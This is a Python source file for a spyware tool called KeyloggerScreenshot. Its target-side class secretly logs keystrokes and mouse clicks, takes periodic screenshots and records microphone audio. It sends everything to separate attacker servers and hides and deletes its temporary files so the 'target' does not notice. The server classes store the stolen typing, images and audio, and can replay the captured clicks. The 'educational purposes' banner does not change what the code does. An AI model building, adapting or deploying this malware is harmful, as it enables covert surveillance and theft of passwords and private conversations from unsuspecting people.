import time
import sys
import socket
import os
import pyaudio
import wave
import threading
import ast
import BetterPrinting as bp
import random

class KeyloggerTarget:
    def __init__(self, ip_of_server_photos, port_of_server_photos, ip_of_server_keylogger_data,
                 port_of_server_keylogger_data, ip_of_server_listener, port_of_server_listener, ip_of_timer,
                 port_of_timer, duration_in_seconds=200):
        global listening_time
        global ip_listener
        global port_listener
        # "duration_in_seconds" tells the programm how long it should last the default time is 200 seconds that's 3 Minutes and 20 Seconds
        self.ip_photos = ip_of_server_photos
        self.port_photos = port_of_server_photos
        self.ip_keylogger = ip_of_server_keylogger_data
        self.port_keylogger = port_of_server_keylogger_data
        self.ip_listener = ip_of_server_listener
        self.port_listener = port_of_server_listener
        self.duration = duration_in_seconds
        self.ip_timer = ip_of_timer
        self.port_timer = port_of_timer

        ip_listener = self.ip_listener
        port_listener = self.port_listener
        listening_time = self.duration
        self.check = []
        self.caps = False
        self.richtige_liste = None
        self.coordinates = None
        self.richtige_liste = []
        self.coordinates = []

    def daten_aufnehemen(self):
        listening_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listening_data.connect((ip_listener, port_listener))
        try:
            format = pyaudio.paInt16
            channels = 2
            rate = 44100
            chunk = 1024
            seconds = listening_time + 1

            audio = pyaudio.PyAudio()

            # start Recording
            stream = audio.open(format=format, channels=channels,
                                rate=rate, input=True,
                                frames_per_buffer=chunk)
            # print("recording...")
            frames = []

            for i in range(0, int(rate / chunk * seconds)):
                data = stream.read(chunk)
                frames.append(data)

            # print("finished recording")

            # stop Recording
            stream.stop_stream()
            stream.close()
            audio.terminate()

            # Connection with ServerListener

            str_frames = str(frames)
            listening_data.send(str_frames.encode())

        except OSError:
            print("NO MICROPHONE DETECTED OR MICROPHONE SETTING DISABLED")
            no_microfon = "THE TARGET HAS NO MICROPHONE ON"
            listening_data.send(no_microfon.encode())
            # Sends data to ServerListener

    def all_dir(self):
        global random_lst
        zeichen = "qwertzuiopasdfghjklyxcvbnm1234567890"
        random_lst = ["".join(random.sample(zeichen, random.randint(4, 10))) for x in range(100)]
        # This makes a list of every directory name randomly
        for dir_name in random_lst:
            os.system(f"mkdir {dir_name}")
            # The directory is being made here

        random_dir = random.choice(random_lst)
        os.chdir(random_dir)
        # We are now in that directory where the image can be stored

    def client(self, ip_photos, port_photos):
        global fhandle
        # fhandle is the variable which opens the foto
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_photos, port_photos))
        # This connects to the server you specified
        image = pg.screenshot()
        # "image" screenshots the current image after a specific time
        fotoname = "Image.png"
        # Name of the image
        image.save(fotoname)
        # Saves the image in the current directory
        fhandle = open(fotoname, "rb")
        # Opens the image

        full_msg = b""
        # Every image information will be stored in "full_msg"
        for line in fhandle:
            full_msg += line

        s.send(full_msg)

    def countdown_send(self, zeit, ip_photos, port_photos, ip_keylogger, port_keylogger):
        seconds_list = [zahl for zahl in range(0, zeit + 1, 20) if zahl != 0]
        # The seconds the image will be sent in 20 steps to the server will be saved in "seconds_list"
        print(seconds_list)
        key_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            for x in range(zeit + 1):
                if x == 20:
                    self.all_dir()
                    # This function makes 100 files to store the image so the target won't find out
                print(x)
                zeit -= 1
                time.sleep(1)
                if x in seconds_list:
                    self.client(ip_photos, port_photos)
                    # The images will be sent
            key_data.connect((ip_keylogger, port_keylogger))
            # This is the ip and the port of the server the port shouldn't be the same the server_photos and the server_keylogger shouldn't be
            # in the same folder
            self.coordinates = list(set(self.coordinates))
            # This checks if the coordinates occur 2 times
            print(self.coordinates)
            wort = ""
            for zeichen in self.richtige_liste:
                wort += zeichen

            # Sends the data to server_keylogger
            all_data = str(self.coordinates) + wort
            # Coordinates and keydata are being concatenated
            key_data.send(all_data.encode())
            print(wort)
            print(self.richtige_liste)
            fhandle.close()
            # Closes the image
            os.remove("Image.png")
            # Deletes the image in the current directory
            os.chdir("..")
            # We have to go back so that we can delete the other directories
            for each_dir in random_lst:
                os.system(f"rmdir {each_dir}")
                # This deletes every directory
            sys.exit()
            # Stops the keylogger
        except KeyboardInterrupt:
            # If the target has destroyed the connection
            wort = "***%§§)§§%"
            # This is like a special code. To split it at the end
            for zeichen in self.richtige_liste:
                wort += zeichen
            data = f"THE CONNECTION HAS BEEN INTERRUPTED{wort}"
            # This let's the server know that the server should shut down
            key_data.connect((ip_keylogger, port_keylogger))
            key_data.send(data.encode())
            key_data.close()

            if os.path.exists("Image.png"):
                # It will destroy the image so target wound know anything
                fhandle.close()
                os.remove("Image.png")
            # This removes the image

    def kill_switch(self):
        # This function destroys the mouse info
        new_seconds = self.duration + 5
        # 20 seconds are being added because there might be a problem
        for x in range(new_seconds):
            time.sleep(1)
        # This stopes the
        sys.exit()

    def on_click(self, x, y, button, pressed):
        # This is the click function
        print(f"Target has pressed {x} and {y}")
        # All the coordinates will be stored in "self.coordinates"
        self.coordinates.append((x, y))

    def all_clicks(self):
        # This is just a function so it can be ran with threading
        with Listener(on_click=self.on_click) as listening:
            self.kill_switch()
            listening.join()

    def on_press(self, key):
        try:
            try:
                other_charecters = {"1": "!", "2": '"', "3": "§", "4": "$", "5": "%", "6": "&", "7": "/", "8": "(",
                                    "9": ")", "0": "=", "ß": "?"}
                if self.caps is True:
                    if key.char in other_charecters:
                        word = other_charecters[key.char]
                    else:
                        word = key.char.upper()
                else:
                    word = key.char

                print(f'Alphabetische Taste wurde gedrückt: {word} ')
                self.richtige_liste += word
                # Every pressed key will be saved in "richtige_liste" this is a german word and means "right_list"

                print(self.richtige_liste)
            except TypeError:
                pass

        except AttributeError:
            print(f'Eine andere Taste wurde gedrückt: {key}')
            if key == keyboard.Key.space or key == keyboard.Key.tab:
                self.richtige_liste += "{"
                # If the target presses tab or space a "{" will be appended to the list so the attacker knows when and
                # space or a tab key has been pressed
            elif key == keyboard.Key.caps_lock:
                self.caps = True
                self.check.append(1)
            check_caps = sum(self.check) / 2
            # If check_caps is not primary it will set self.caps to False

            if str(check_caps)[-1] != '0':
                pass
            else:
                self.caps = False

    def on_release(self, key):
        print(f'Key released: {key}')

    def start(self):
        if self.duration < 60:
            raise TypeError(f"{self.duration} is not greater and not equal to 60")
        # "duration_in_seconds" should always be bigger than 60 seconds
        else:
            listening_thread = threading.Thread(target=self.daten_aufnehemen)
            # This runs the programm behind the actual programming
            listening_thread.start()

            threading_mouse = threading.Thread(target=self.all_clicks)
            # This runs the programm behind the actual programming
            threading_mouse.start()

            send_timer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            send_timer.connect((self.ip_timer, self.port_timer))

            send_timer.send(str(self.duration).encode())
            # This sends the seconds to the server
            send_timer.close()

            with keyboard.Listener(on_press=self.on_press, on_release=self.on_release) as listener:
                self.countdown_send(self.duration, self.ip_photos, self.port_photos, self.ip_keylogger,
                                    self.port_keylogger)
                listener.join()
                # This listens to the keys that where typed


class ServerKeylogger:
    # This is the class of the Server. Both Server should not be in the same file
    def __init__(self, ip, port, simulater=False):
        self.ip = ip
        self.port = port
        self.simulater = simulater
        self.new_data = None

    def message(self, real_data):
        # To know if the server has some issues
        for zeichen in real_data:
            if "{" == zeichen:
                # "{" this detects if a space or a tab is in full_msg
                self.new_data = real_data.replace("{", " ")

        # The data is being stored in full_msg
        bp.color(f"Text of target: {self.new_data}", "magenta")
        zeit = time.strftime("%H-%M-%S-%Y")
        # This is the time the data has arrived
        if self.new_data != "":
            with open(f"Keylogger of the target Time {zeit}.txt", "a+", encoding="utf-8") as file:
                file.write(f"HERE IS EVERYTHING THE TARGET HAS TYPED \n\n{self.new_data}")

        else:
            bp.color("The Target didn't type something...", "magenta")

    def check_double(self):  # This function is here to check if there are more files with the same name
        dir = os.listdir()
        check = [each_name for each_name in dir if "mouseInfo" in each_name]
        if len(check) == 0:
            filename = "mouseInfoLog.txt"
        else:
            amount = len(check) + 1
            filename = f"mouseInfoLog {amount}.txt"

        return filename

    def countdown(self):
        global seconds
        global startbutton
        global tkWindow
        real_sec = seconds
        seconds = seconds + 4
        # Plus four seconds because of the time the code sleeps

        if sys.platform == "linux":
            size = "295x367"
        else:
            size = "250x415"

        tkWindow = tk.Tk()
        tkWindow.geometry(size)
        tkWindow.title('KeyloggerScreenshot')
        minutes = seconds // 60
        this_min = minutes * 60
        this_sec = seconds - this_min
        print(f"This simulation will last for {minutes} minutes and {this_sec} seconds\n")

        while seconds:  # Same like Timer Class
            mins, secs = divmod(seconds, 60)
            timer = '{:02d}:{:02d}'.format(mins, secs)
            print(f"\rTime left: {timer}", end="")
            time.sleep(1)
            seconds -= 1

        print("\nTHANK YOU FOR YOU USING KEYLOGGERSCREENSHOT")
        # GUI BY: DYMA020
        startbutton = tk.Button(tkWindow, text="Stop stimulation", command=self.changecol, height=10, width=30)
        # Puts everything on place
        startbutton.grid(row=1, column=0)
        if real_sec < 60:
            text = f"Simulation for {real_sec} seconds"
        else:
            m, s = divmod(real_sec, 60)
            timer = '{:02d}:{:02d}'.format(m, s)
            text = f"Simulation for {timer} minutes"
        # Just for decoration
        tk.Button(tkWindow, text=text, command=self.connection, height=10, width=30).grid(row=2, column=0)
        tkWindow.mainloop()

    def changecol(self):  # This function is here to if the simulation has ended
        startbutton.configure(bg="red")
        # This is the button
        startbutton["text"] = "Stop simulation"
        tkWindow.destroy()

    def connection(self):
        print("Successful connection")

    def start(self):
        global seconds
        try:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.bind((self.ip, self.port))
            server.listen(1000)

            bp.color("Waiting for connection....", "magenta")
            clientsocket, ipaddress = server.accept()
            # Data is in clientsocket and the ip-address is obviously in "ipaddress"
            bp.color(f"\nConnection has been established with {ipaddress}", "magenta")

            full_msg = ""
            while True:
                msg = clientsocket.recv(8192).decode()
                # More Data can be accepted due to a bigger buffer size
                if len(msg) <= 0: break
                full_msg += msg
            if ")]" in full_msg:
                # Checks if the coordinates are there
                cord = full_msg.split(")]")
                new_cor = cord[0] + ")]"
                direct = os.listdir()

                filename = self.check_double()
                with open(filename, "a+") as file:
                    # The coordinates will be stored in "mouseInfoLog.txt"
                    file.write(f"These are the coordinates of the target \n{new_cor}")
                bp.color("The coordinates of the target have been saved to your directory", "magenta")

                if cord[1] == "":
                    bp.color("The target hasn't typed anything", "magenta")
                else:
                    self.message(cord[1])

            elif "{" in full_msg and "THE CONNECTION HAS BEEN INTERRUPTED" not in full_msg:
                # This checks if the target hasn't clicked something and if there is still some data
                full_msg = full_msg.replace("[]", "")
                bp.color("The target hasn't clicked anything", "magenta")
                self.message(full_msg)

            elif "[]" == full_msg and "THE CONNECTION HAS BEEN INTERRUPTED" not in full_msg:
                # Checks if nothing has typed or clicked
                bp.color("The target hasn't typed and clicked anything", "magenta")

            else:
                print(full_msg)
                spalten = full_msg.split("***%§§)§§%")
                # This splits the data with the special code
                if spalten[1] != "":
                    # If the data is not empty
                    text = spalten[1]
                    for zeichen in text:
                        if "{" == zeichen:
                            text = text.replace("{", " ")
                    bp.color(f"Text of target: {text}", "magenta")
                    zeit = time.strftime("%H-%M-%S-%Y")
                    # This is the time the data has arrived
                    with open(f"Keylogger of the target Time {zeit}.txt", "a+", encoding="utf-8") as file:
                        file.write(f"HERE IS EVERYTHING THE TARGET HAS TYPED \n\n{text}")
                        # That means data will appear even if the connection isn't stabled
                else:
                    bp.color("The target hasn't written something in the meanwhile", "magenta")

                bp.color("\nTHE CONNECTION HAS BEEN INTERRUPTED", "magenta")
                bp.color("THE SERVER WILL BE DESTROYED\n", "magenta")
                os._exit(0)
                # This shuts down the server


            if self.simulater is True:
                print("Simulation will come in 10 seconds!!!")
                time.sleep(10)
                start = input("Do you want to start y/n?: ")
                if start not in ["y", "yes"]:
                    print("\nTHANK YOU FOR YOU USING KEYLOGGERSCREENSHOT")
                    sys.exit()

                mouse_coordinates = [mouse for mouse in os.listdir() if "mouseInfoLog" in mouse]
                # Looks for coordinates in mouseInfoLog

                if not mouse_coordinates:
                    # If there isn't a file called mouseInfoLog it will destroy itself
                    print("\nThe target hasn't clicked anything")
                    print("THANK YOU FOR YOU USING KEYLOGGERSCREENSHOT")
                    sys.exit()

                every_coordinate = []
                for each_core in mouse_coordinates:
                    fhandle = open(each_core)
                    for line in fhandle:
                        if "[" in line:
                            every_coordinate += ast.literal_eval(line)
                            # This makes a list out of a string

                img_files = [each_img for each_img in os.listdir() if "New_Image" in each_img]
                # This checks for all Images in the directory

                if not img_files:
                    print('There is no "New_Image" in this directory')
                    sys.exit()

                pg.FAILSAFE = False
                # This is for the corner allowance
                img_seconds = 5.572
                # This is the speed it takes to open the image
                speed = 0.47
                # This is the time each coordinate needs
                sleep = 1.5
                # This is the time where the code is taking a time out
                one_coordinate = speed + sleep

                duration_seconds = one_coordinate * len(every_coordinate)
                one_image = duration_seconds + img_seconds
                summed_up = one_image * len(img_files)
                seconds = round(summed_up)

                print(f"\nThe target has clicked {len(every_coordinate)} times on his screen")
                threading_count = threading.Thread(target=self.countdown)
                # The countdown will start
                threading_count.start()

                pg.sleep(4)
                for image in img_files:
                    im = PIL.Image.open(image)
                    # Opens the image
                    im.show()
                    time.sleep(2)
                    pg.press("f11")
                    # Makes the image in the perfect resolution
                    for x, y in every_coordinate:
                        pg.moveTo(x, y, 0.3)
                        time.sleep(sleep)
                    pg.press("esc")

        except OSError:
            raise OSError("Change the port number to run without an error")


class ServerPhotos:
    # This is the class of the Server. Both Server should not be in the same file
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port
        self.full_msg = None

    def check_double(self):  # This function is here to check if there are more files with the same name
        dir = os.listdir()
        check = [each_name for each_name in dir if "New_Image" in each_name]
        if len(check) == 0: filename = "New_Image (1).png"
        else:
            amount = len(check) + 1
            filename = f"New_Image ({amount}).png"

        return filename

    def get_data(self, connection, mode, bytes):
        if mode == "r": self.full_msg = r""
        else: self.full_msg = b""
        # All the data is being stored in full_msg
        while True:
            msg = connection.recv(bytes)
            if len(msg) <= 0: break
            if mode == "r": self.full_msg += msg.decode()
            else: self.full_msg += msg
        return self.full_msg

    def start(self):
        gui = """
    __ __              __                                 _____                                       __            __ 
   / //_/___   __  __ / /____   ____ _ ____ _ ___   _____/ ___/ _____ _____ ___   ___   ____   _____ / /_   ____   / /_
  / ,<  / _ \ / / / // // __ \ / __ `// __ `// _ \ / ___/\__ \ / ___// ___// _ \ / _ \ / __ \ / ___// __ \ / __ \ / __/
 / /| |/  __// /_/ // // /_/ // /_/ // /_/ //  __// /   ___/ // /__ / /   /  __//  __// / / /(__  )/ / / // /_/ // /_  
/_/ |_|\___/ \__, //_/ \____/ \__, / \__, / \___//_/   /____/ \___//_/    \___/ \___//_/ /_//____//_/ /_/ \____/ \__/  
            /____/           /____/ /____/    

                        ~Created by: Fawaz Bashiru~          
                        ~Write "python KLS_start.py -help" for help in the github version~   
                        REMINDER THIS WAS BUILD FOR EDUCATIONAL PURPOSES  
                        SO DON'T USE THIS FOR EVIL ACTIVITIES !!!!!                        
        """

        print(gui)
        bp.color("Cyan: ServerPhotos", "cyan")
        bp.color("Blue: ServerKeylogger", "magenta")
        bp.color("Green: ServerListener", "green")
        print("White: Timer\n")
        try:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.bind((self.ip, self.port))
            server.listen(1000)

            anzahl = 0
            while True:
                bp.color("Waiting for connection...", "cyan")
                client_socket, address = server.accept()
                bp.color(f"\n\nConnection has been established with {address}", "cyan")
                # Data is in client_socket and the address is obviously in "ipaddress"
                full_msg = self.get_data(client_socket, "b", 8192)
                client_socket.close()
                anzahl += 1

                filename = self.check_double()
                with open(filename, "ab") as file:
                    # This stores the image
                    file.write(full_msg)

                # "anzahl" is for the amount of photos
                if anzahl > 1:
                    bp.color(f"{anzahl} Images has been saved to your working directory", "cyan")
                else:
                    bp.color(f"{anzahl} Image have been saved to your working directory", "cyan")
                # Detetcts how many Image have been saved to your directory


        except OSError:
            raise OSError("Change the port number to run without an error")


class ServerListener:
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port
        self.filename = None

    def check_double(self):
        # This function checks if The Audio file is already in the directory
        dir = os.listdir()
        check = [each_name for each_name in dir if "Audio of Target" in each_name]
        if len(check) == 0:
            # If the directory has no file it will set the filename to default
            self.filename = "Audio of Target.wav"
        else:
            amount = len(check) + 1
            self.filename = f"Audio of Target {amount}.wav"
            # Filename will now be the amount of the audiofiles therer are directory

        return self.filename

    def start(self):
        try:
            listening_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            listening_data.bind((self.ip, self.port))
            listening_data.listen(1000)
            # 5 possible connections
            bp.color("Waiting for connection...", "green")
            # Waits for a connection

            client_socket, ipaddress = listening_data.accept()
            bp.color(f"Connection has been established with {ipaddress}", "green")
            check = 0
            full_msg = ServerPhotos.get_data(self, client_socket, "r", 30000000)
            listening_data.close()
            if full_msg == "THE TARGET HAS NO MICROPHONE ON":
                bp.color("\nTHE TARGET HAS NO MICROPHONE ON\n", "green")
                bp.color('"ServerListener" will be destroyed', "green")
                sys.exit()

            frames = ast.literal_eval(full_msg)
            filename = self.check_double()
            data_file = wave.open(filename, "wb")
            data_file.setnchannels(2)
            data_file.setsampwidth(2)
            data_file.setframerate(44100)
            data_file.writeframes(b''.join(frames))
            data_file.close()
            bp.color(f'"{filename}" has been saved to your directory', "green")

            # This stores everything the target was talking

        except OSError:
            pass


class Timer:
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

    def countdown(self, seconds):
        minutes = seconds // 60
        # Calculates the floor
        false_second = minutes * 60
        exact_seconds = seconds - false_second

        print(f"The target is being connected. The IP of the target is coming....")
        while seconds:
            mins, secs = divmod(seconds, 60)
            timer = '{:02d}:{:02d}'.format(mins, secs)
            print(f"\rTime left: {timer}", end="")
            time.sleep(1)
            seconds -= 1

        if minutes == 0:
            print(f"\nSuccessful connection for {exact_seconds} seconds")
        elif exact_seconds == 0:
            print(f"\nSuccessful connection for {minutes} minutes")
        else:
            print(f"\nSuccessful connection for {minutes} minutes and {exact_seconds} seconds")

    def start_timer(self):
        show_time = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        show_time.bind((self.ip, self.port))
        show_time.listen(10)

        client_socket, ipaddress = show_time.accept()
        full_msg = ServerPhotos.get_data(self, client_socket, "r", 10)
        seconds = int(full_msg)
        self.countdown(seconds)
